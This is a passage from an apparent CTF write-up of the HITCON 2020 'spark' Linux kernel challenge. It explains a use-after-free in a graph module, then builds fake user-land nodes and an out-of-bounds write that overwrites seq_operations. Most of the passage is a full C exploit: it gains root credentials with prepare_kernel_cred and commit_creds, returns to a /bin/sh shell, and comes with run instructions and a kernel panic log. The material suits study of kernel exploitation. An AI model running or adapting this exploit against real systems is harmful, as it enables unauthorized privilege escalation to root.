&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    \ |
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      C -- 3 - E
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And if we request finalize on node A, the A&amp;rsquo;s &lt;code&gt;node_table&lt;/code&gt; and &lt;code&gt;idx_in_table&lt;/code&gt; of each nodes are set by following:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-plaintext&#34; data-lang=&#34;plaintext&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;0: A (its `idx_in_table` is 0)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;1: C (its `idx_in_table` is 1)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2: E (its `idx_in_table` is 2)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;3: B (its `idx_in_table` is 3)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;4: D (its `idx_in_table` is 4)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &lt;code&gt;node_table&lt;/code&gt; and &lt;code&gt;idx_in_table&lt;/code&gt; is used in &lt;code&gt;spark_graph_query&lt;/code&gt; (And in this function, 8 bytes OOB write can be triggered, explained in later).&lt;/p&gt;
&lt;p&gt;Since the environment of this challenge is No-SMAP and No-SMEP and we can controll fd and bk of UAF node, we can insert fake nodes (defined in user-land) to linked list.
So for the OOB write I set fake nodes to build &lt;code&gt;node_table&lt;/code&gt; like following:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-plaintext&#34; data-lang=&#34;plaintext&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;0: A
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;1: UAF node
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2: Fake user-land node
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;3: Fake user-land node
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;trigger-oob-write&#34;&gt;Trigger OOB write&lt;/h3&gt;
&lt;p&gt;In &lt;code&gt;spark_graph_query&lt;/code&gt; function, there is a following routine:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;temp_dists &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;__int64&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;)&lt;span style=&#34;color:#a6e22e&#34;&gt;_kmalloc&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; node_table&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;size, _GFP_IO &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt; ___GFP_FS &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt; ___GFP_DIRECT_RECLAIM &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt; ___GFP_KSWAPD_RECLAIM);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;bk &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; cur_node&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;bk;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; ( end &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;cur_node&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;bk; bk &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;spark_link_t&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;)end; bk &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; bk&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;bk )
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  p_upated_dist &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;temp_dists[bk&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;target&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;idx_in_table];
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; ( &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;p_upated_dist &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; )
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    dist_of_this_path &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; dist_to_cur &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; bk&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;weight;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; ( &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;p_upated_dist &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; dist_of_this_path )
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;p_upated_dist &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; dist_of_this_path;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Because our target (and its idx_in_table) of &lt;code&gt;node_table&lt;/code&gt; can be controlld by us, we can write &lt;code&gt;temp_dists&lt;/code&gt; with arbitrary index by setting &lt;code&gt;idx_in_table&lt;/code&gt;.
Furthermore since the weigth of bk node can be controlled by user, we can get arbitrary 8 bytes OOB write.&lt;/p&gt;
&lt;h3 id=&#34;rip-control&#34;&gt;RIP control&lt;/h3&gt;
&lt;p&gt;Since the &lt;code&gt;size&lt;/code&gt; of &lt;code&gt;node_bale&lt;/code&gt; is 4 and then the &lt;code&gt;kamlloc&lt;/code&gt; allocate 32 bytes chunk, I decide to use &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.9.11/source/include/linux/seq_file.h#L31&#34;&gt;&lt;code&gt;struct seq_operations&lt;/code&gt;&lt;/a&gt; to control RIP.&lt;/p&gt;
&lt;p&gt;We can run user-mode code via RIP control because SMEP is not enabled.&lt;/p&gt;
&lt;h3 id=&#34;exploit-code&#34;&gt;Exploit code&lt;/h3&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;984153267&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;984153267&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;HITCON2020-spark-exploit.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;linux/keyctl.h&amp;gt;
#include &amp;lt;stdarg.h&amp;gt;
#include &amp;lt;stddef.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/ipc.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;sys/msg.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;syscall.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

static void get_enter_to_continue(const char* msg);
static void fatal(const char* msg);

static void get_enter_to_continue(const char* msg) {
  puts(msg);
  getchar();
}

static void fatal(const char* msg) {
  perror(msg);
  // get_enter_to_continue(&amp;#34;Press enter to exit...&amp;#34;);
  exit(-1);
}

struct msgbuf {
  long mtype;    /* message type, must be &amp;gt; 0 */
  char mtext[1]; /* message data */
};
int send_msg(int msgqid, char* data, size_t size, long mtype);
int recv_msg(int msgqid, char* data, size_t size, long mtype);

int send_msg(int msgqid, char* data, size_t size, long mtype) {
  struct msgbuf* m = malloc(sizeof(long) + size);
  int ret = -1;
  memcpy(m-&amp;gt;mtext, data, size);
  m-&amp;gt;mtype = mtype;

  ret = msgsnd(msgqid, m, size, 0);

  free(m);
  return ret;
}
int recv_msg(int msgqid, char* data, size_t size, long mtype) {
  struct msgbuf* m = malloc(sizeof(long) + size);
  int ret = -1;
  m-&amp;gt;mtype = mtype;

  ret = msgrcv(msgqid, m, size, mtype, 0);
  memcpy(data, m-&amp;gt;mtext, size);

  free(m);
  return ret;
}

#define VULN_DEV_NAME &amp;#34;/dev/node&amp;#34;
#define VULN_DEV_CMD_LINK 0x4008D900
#define VULN_DEV_CMD_FINALIZE 0xD902
#define VULN_DEV_CMD_QUERY 0xC010D903
#define VULN_DEV_CMD_GET_INFO 0x8018D901

typedef struct query_t {
  int fd1;
  int fd2;
  int64_t distance;
} query_t;
typedef struct node_info_t {
  uint64_t link_cnt;
  uint64_t idx_in_weights;
  uint64_t weights_size;
} node_info_t;
typedef struct spark_link_t {
  struct spark_link_t* bk;
  struct spark_link_t* fd;
  struct spark_node_t* target;
  uint64_t weight;
} spark_link_t;
typedef struct spark_node_table_t {
  uint64_t size;
  uint64_t capacity;
  struct spark_node_t** nodes;
} spark_node_table_t;
typedef struct spark_node_t {
  uint64_t idx;
  uint32_t ref_cnt;
  uint32_t __padding_0;
  char start_lock[32];
  uint32_t is_finalized;
  uint32_t __padding_1;
  char nb_lock[32];
  uint64_t link_cnt;
  struct spark_link_t* bk;
  struct spark_link_t* fd;
  uint64_t idx_in_table;
  spark_node_table_t* node_table;
} spark_node_t;

static int vuln_dev_link(int fd1, int fd2, int weight);
static int vuln_dev_finalize(int fd);
static int64_t vuln_dev_query(int fd, int fd1, int fd2);
static node_info_t vuln_dev_get_info(int fd);

static int vuln_dev_link(int fd1, int fd2, int weight) {
  return ioctl(fd1, VULN_DEV_CMD_LINK,
               (uint64_t)fd2 | ((uint64_t)weight &amp;lt;&amp;lt; 32));
}
static int vuln_dev_finalize(int fd) {
  return ioctl(fd, VULN_DEV_CMD_FINALIZE);
}
static int64_t vuln_dev_query(int fd, int fd1, int fd2) {
  query_t qry = {.fd1 = fd1, .fd2 = fd2, .distance = -1};
  if (ioctl(fd, VULN_DEV_CMD_QUERY, &amp;amp;qry)) {
    return -1;
  }
  return qry.distance;
}
static node_info_t vuln_dev_get_info(int fd) {
  node_info_t info;
  ioctl(fd, VULN_DEV_CMD_GET_INFO, &amp;amp;info);
  return info;
}

uint64_t user_cs, user_ss, user_sp, user_rflags;
static void save_state() {
  asm(&amp;#34;mov %[u_cs], cs;\n&amp;#34;
      &amp;#34;mov %[u_ss], ss;\n&amp;#34;
      &amp;#34;mov %[u_sp], rsp;\n&amp;#34;
      &amp;#34;pushf;\n&amp;#34;
      &amp;#34;pop %[u_rflags];\n&amp;#34;
      : [u_cs] &amp;#34;=r&amp;#34;(user_cs), [u_ss] &amp;#34;=r&amp;#34;(user_ss), [u_sp] &amp;#34;=r&amp;#34;(user_sp),
        [u_rflags] &amp;#34;=r&amp;#34;(user_rflags)::&amp;#34;memory&amp;#34;);
  printf(
      &amp;#34;[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: &amp;#34;
      &amp;#34;0x%lx\n&amp;#34;,
      user_cs, user_ss, user_sp, user_rflags);
}

static void get_shell() {
  puts(&amp;#34;[+] Get shell!&amp;#34;);
  char* argv[] = {&amp;#34;/bin/sh&amp;#34;, NULL};
  char* envp[] = {NULL};
  execve(&amp;#34;/bin/sh&amp;#34;, argv, envp);
}

static void restore_state() {
  asm volatile(
      &amp;#34;swapgs;\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x20], %[u_ss];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x18], %[u_sp];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x10], %[u_rflags];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x08], %[u_cs];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x00], %[u_ret];\n&amp;#34;
      &amp;#34;iretq;\n&amp;#34; ::[u_cs] &amp;#34;r&amp;#34;(user_cs),
      [u_ss] &amp;#34;r&amp;#34;(user_ss), [u_sp] &amp;#34;r&amp;#34;(user_sp), [u_rflags] &amp;#34;r&amp;#34;(user_rflags),
      [u_ret] &amp;#34;r&amp;#34;(get_shell));
}

__attribute__((naked)) static void get_root_shell() {
  asm volatile(
      &amp;#34;mov rax, [rsp];\n&amp;#34;
      &amp;#34;sub rax, 0x3185d4;\n&amp;#34;  // rax will be kernel_base
      &amp;#34;mov r15, rax;\n&amp;#34;       // r15 will be kernel_base
      // Call prepare_kernel_cred
      &amp;#34;xor rdi, rdi;\n&amp;#34;
      &amp;#34;add rax, 0xbe9c0;\n&amp;#34;  // rax will be prepare_kernel_cred
      &amp;#34;call rax;\n&amp;#34;
      // Call commit_creds
      &amp;#34;mov rdi, rax;\n&amp;#34;
      &amp;#34;mov rax, r15;\n&amp;#34;
      &amp;#34;add rax, 0xbe550;\n&amp;#34;  // rax will be commit_creds
      &amp;#34;call rax;\n&amp;#34;
      :
      :
      : &amp;#34;rax&amp;#34;, &amp;#34;rdi&amp;#34;, &amp;#34;r15&amp;#34;, &amp;#34;memory&amp;#34;);

  restore_state();
}

int main(int argc, char* argv[]) {
  save_state();

  int fds[2];
  puts(&amp;#34;[*] Alloc 2 nodes&amp;#34;);
  for (int i = 0; i &amp;lt; sizeof(fds) / 4; ++i) {
    fds[i] = open(VULN_DEV_NAME, O_RDONLY);
  }

  puts(&amp;#34;[*] Link 2 nodes&amp;#34;);
  vuln_dev_link(fds[0], fds[1], 0);

  puts(&amp;#34;[*] Trigger UAF and build fake node and fake link&amp;#34;);
  close(fds[1]);

  char* msg_mem = malloc(0x2000);
  memset(msg_mem, &amp;#39;a&amp;#39;, 0x2000);
  memset(msg_mem + 0x1000 - 48, 0, 0x1000 + 48);

  char* fake_mem = malloc(0x1000);
  memset(fake_mem, 0, 0x1000);
  spark_node_t* fake_node_1 = (spark_node_t*)fake_mem;
  spark_node_t* fake_node_2 = (spark_node_t*)(fake_mem + sizeof(spark_node_t));
  spark_link_t* fake_link_1 =
      (spark_link_t*)(fake_mem + 2 * sizeof(spark_node_t));
  spark_link_t* fake_link_2 =
      (spark_link_t*)(fake_mem + 2 * sizeof(spark_node_t) +
                      sizeof(spark_link_t));
  spark_link_t* fake_link_3 =
      (spark_link_t*)(fake_mem + 2 * sizeof(spark_node_t) +
                      2 * sizeof(spark_link_t));
  spark_node_t* uaf_fake_node_data = (spark_node_t*)(msg_mem + 0x1000 - 48 - 8);

  printf(
      &amp;#34;[*] fake_node_1: %p, fake_link_1: %p, fake_node_2: %p, fake_link_2: &amp;#34;
      &amp;#34;%p\n&amp;#34;,
      fake_node_1, fake_link_1, fake_node_2, fake_link_2);

  if (argc == 2) {
    uint64_t uaf_fake_node_addr =
        strtoull(argv[1], NULL, 16);  // R12(==R13+0x60) of panic
    uaf_fake_node_data-&amp;gt;ref_cnt = 3;
    uaf_fake_node_data-&amp;gt;idx_in_table = 0xdeadbeef;
    uaf_fake_node_data-&amp;gt;bk = (spark_link_t*)fake_link_1;
    uaf_fake_node_data-&amp;gt;fd = (spark_link_t*)fake_link_2;

    fake_link_1-&amp;gt;target = fake_node_1;
    fake_link_1-&amp;gt;bk = (spark_link_t*)fake_link_2;
    fake_link_1-&amp;gt;fd = (spark_link_t*)uaf_fake_node_addr;

    fake_link_2-&amp;gt;target = fake_node_2;
    fake_link_2-&amp;gt;bk = (spark_link_t*)uaf_fake_node_addr;
    fake_link_2-&amp;gt;fd = (spark_link_t*)fake_node_1;

    fake_node_1-&amp;gt;idx = 0xdeadbeef;
    fake_node_1-&amp;gt;ref_cnt = 3;
    fake_node_1-&amp;gt;is_finalized = 0;
    fake_node_1-&amp;gt;bk = (spark_link_t*)&amp;amp;fake_node_1-&amp;gt;bk;
    fake_node_1-&amp;gt;fd = (spark_link_t*)&amp;amp;fake_node_1;

    fake_node_2-&amp;gt;idx = 0xcafebebe;
    fake_node_2-&amp;gt;ref_cnt = 3;
    fake_node_2-&amp;gt;is_finalized = 0;
    fake_node_2-&amp;gt;bk = (spark_link_t*)&amp;amp;fake_node_2-&amp;gt;bk;
    fake_node_2-&amp;gt;fd = (spark_link_t*)&amp;amp;fake_node_2;
  } else {
    uaf_fake_node_data-&amp;gt;ref_cnt = 1;
  }
  send_msg(1, msg_mem, 0x1000 - 48 + 0x80 - 8, 1);

  puts(&amp;#34;[*] Put fake node to node_tables&amp;#34;);
  vuln_dev_finalize(fds[0]);

  puts(&amp;#34;[*] Modify nodes...&amp;#34;);
  fake_node_1-&amp;gt;bk = (spark_link_t*)fake_link_3;
  fake_node_1-&amp;gt;fd = (spark_link_t*)fake_link_3;
  fake_link_3-&amp;gt;bk = (spark_link_t*)&amp;amp;fake_node_1-&amp;gt;bk;
  fake_link_3-&amp;gt;fd = (spark_link_t*)&amp;amp;fake_node_1-&amp;gt;bk;
  fake_link_3-&amp;gt;target = fake_node_2;
  fake_link_3-&amp;gt;weight = (uint64_t)get_root_shell;
  fake_node_2-&amp;gt;idx_in_table = 4;

  puts(&amp;#34;[*] Spraying seq_ops...&amp;#34;);
  int seq_ops_spray[100];
  for (int i = 0; i &amp;lt; sizeof(seq_ops_spray) / 4; ++i) {
    seq_ops_spray[i] = open(&amp;#34;/proc/self/stat&amp;#34;, O_RDONLY);
  }
  close(seq_ops_spray[0]);

  if (fake_node_1-&amp;gt;idx_in_table != 0) {
    puts(&amp;#34;[+] Success to build fake node&amp;#34;);
  } else {
    puts(&amp;#34;[-] Failed to build fake node&amp;#34;);
    return -1;
  }

  int new_nodes[4];
  for (int i = 0; i &amp;lt; sizeof(new_nodes) / 4; ++i) {
    new_nodes[i] = open(VULN_DEV_NAME, O_RDONLY);
    if (i != 0) {
      vuln_dev_link(new_nodes[i - 1], new_nodes[i], 0x100 + i);
    }
  }
  vuln_dev_finalize(new_nodes[3]);

  puts(&amp;#34;[*] Trigger OOB and overwrite seq_ops&amp;#34;);
  vuln_dev_query(fds[0], new_nodes[1], new_nodes[0]);

  puts(&amp;#34;[*] ACE!!&amp;#34;);
  for (int i = 0; i &amp;lt; sizeof(seq_ops_spray) / 4; ++i) {
    char buf[1];
    read(seq_ops_spray[i], buf, 1);
  }

  memset(fake_mem, 0, 0x1000);

  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;To get a root shell, we need to execute the exploit program twice:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Run the program without any arguments.&lt;/li&gt;
&lt;li&gt;Run the program with value of kernel&amp;rsquo;s R12 register shown by kernel panic.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;For example, after executing this program without any arguments, the kernel panic occurs and its information is printed as following:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-plaintext&#34; data-lang=&#34;plaintext&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.936674] BUG: kernel NULL pointer dereference, address: 0000000000000010
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.937311] #PF: supervisor read access in kernel mode
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.937974] #PF: error_code(0x0000) - not-present page
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.938416] PGD de07067 P4D de07067 PUD de06067 PMD 0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.939092] Oops: 0000 [#1] SMP NOPTI
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.939439] CPU: 0 PID: 123 Comm: exploit Tainted: G            E     5.9.11 #1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.939824] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.940679] RIP: 0010:traversal+0x52/0x110 [spark]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.941182] Code: c0 75 77 48 8d 50 01 49 89 16 49 89 44 24 70 49 8b 36 49 3b 76 08 0f 84 81 00 00 00 49 8b 5c 24 60 49 83 c4 60 0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.942692] RSP: 0018:ffffc900001d7e10 EFLAGS: 00000207
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.943401] RAX: ffff88800ddcaf20 RBX: 0000000000000000 RCX: 00000000000008d3
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.943929] RDX: 00000000000008d2 RSI: c1f7a9928c6ca877 RDI: 0000000000031060
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.944350] RBP: ffffc900001d7e38 R08: ffffc900001d7d98 R09: 0000000000000000
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.944940] R10: 0000000000000000 R11: 0000000000000000 R12: ffff88800dd4fb60
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.945509] R13: ffff88800dd4fb00 R14: ffff88800ddcaf80 R15: ffff88800dd4fb10
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.946147] FS:  0000000001787380(0000) GS:ffff88800f600000(0000) knlGS:0000000000000000
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.946744] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.947116] CR2: 0000000000000010 CR3: 000000000de04000 CR4: 00000000000006f0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.947932] Call Trace:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.948909]  traversal+0xa0/0x110 [spark]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.949412]  spark_node_finalize+0x83/0xb0 [spark]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.949769]  node_ioctl+0x136/0x250 [spark]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.949977]  ? tomoyo_file_ioctl+0x19/0x20
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.950249]  __x64_sys_ioctl+0x96/0xd0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.950477]  do_syscall_64+0x37/0x80
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.950819]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.951459] RIP: 0033:0x423d3d
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.951794] Code: 04 25 28 00 00 00 48 89 45 c8 31 c0 48 8d 45 10 c7 45 b0 10 00 00 00 48 89 45 b8 48 8d 45 d0 48 89 45 c0 b8 10 0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.953022] RSP: 002b:00007fff9334fb60 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.953536] RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 0000000000423d3d
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.954020] RDX: 0000000000000000 RSI: 000000000000d902 RDI: 0000000000000003
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.954957] RBP: 00007fff9334fbb0 R08: 0000000000000001 R09: 0000000000000000
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.955548] R10: 0000000000000000 R11: 0000000000000246 R12: 00007fff9334ff18
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.956501] R13: 00007fff9334ff28 R14: 00000000004ae868 R15: 0000000000000001
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.957217] Modules linked in: spark(E)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.957834] CR2: 0000000000000010
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.958602] ---[ end trace c0dd566a19a98686 ]---
